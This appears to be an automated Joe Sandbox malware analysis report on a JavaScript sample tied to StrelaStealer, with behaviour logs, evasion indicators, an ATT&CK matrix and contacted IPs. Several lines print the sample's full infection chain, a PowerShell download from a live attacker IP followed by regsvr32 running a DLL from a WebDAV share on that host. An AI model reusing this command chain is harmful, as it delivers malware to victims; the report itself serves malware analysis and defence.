Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4380			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5474			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7668	Thread sleep count: 4380 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7672	Thread sleep count: 5474 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7760	Thread sleep time: -11068046444225724s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7784	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 7992	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7268	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000006.00000003.1841663877.0000025E3967D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW[
Source: net.exe, 00000006.00000002.1850502462.0000025E39618000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWp
Source: net.exe, 00000006.00000003.1841663877.0000025E3967D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.3043779267.000001EBA2E2B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.3045441592.000001EBA8257000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\319741964525828.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\319741964525828.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\319741964525828.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\319741964525828.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\319741964525828.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	Junk Data	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Steganography	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
23858205001607627322.js	8%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/U	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/1	0%	Avira URL Cloud	safe

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod.C:	edb.log.8.dr	false		high
http://193.143.1.205/invoice.php	wscript.exe, 00000000.00000002.1744284221.00000216BAF3F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.ver)	svchost.exe, 00000008.00000002.3045491191.000001EBA8284000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.7.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	edb.log.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2	edb.log.8.dr	false		high
http://193.143.1.205:8888/U	net.exe, 00000006.00000002.1850594707.0000025E39654000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1848704576.0000025E39654000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96	svchost.exe, 00000008.00000003.1842974274.000001EBA84F2000.00000004.00000800.00020000.00000000.sdmp, edb.log.8.dr	false		high
http://193.143.1.205:8888/pace	net.exe, 00000006.00000002.1850502462.0000025E39618000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/	net.exe, 00000006.00000002.1850594707.0000025E39654000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1850502462.0000025E39618000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1841663877.0000025E39670000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1848704576.0000025E39654000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1850706498.0000025E39672000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/1	net.exe, 00000006.00000002.1850594707.0000025E39654000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1848704576.0000025E39654000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6	svchost.exe, 00000008.00000003.1842974274.000001EBA84F2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588739
Start date and time:	2025-01-11 04:53:09 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 57s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	23858205001607627322.js
Detection:	MAL
Classification:	mal100.rans.spyw.expl.evad.winJS@27/59@0/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 18.213.11.84, 54.224.241.105, 34.237.241.83, 50.16.47.176, 2.16.168.107, 2.16.168.105, 172.64.41.3, 162.159.61.3, 2.23.242.162, 23.209.209.135, 23.200.0.33, 23.200.0.21, 192.168.2.4, 20.109.210.53, 104.126.112.182, 13.107.246.45
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.azureedge.net, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, a122.dscd.akamai.net, e16604.g.akamaiedge.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: 23858205001607627322.js

Simulations

Behavior and APIs

Time	Type	Description
22:54:12	API Interceptor	35x Sleep call for process: powershell.exe modified
22:54:18	API Interceptor	1x Sleep call for process: net.exe modified
22:54:18	API Interceptor	2x Sleep call for process: svchost.exe modified
22:54:31	API Interceptor	1x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	467631239147784826.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	22964327542023110895.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	301425897285010519.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2949911514285745182.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2708993316838119.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	18620271451234622924.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	26999259552055117101.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	622118739225021737.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	32139134812378922139.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	42384357676028189.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	467631239147784826.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	22964327542023110895.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	301425897285010519.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2949911514285745182.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2708993316838119.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	183751298714312883.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3414115772858819502.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
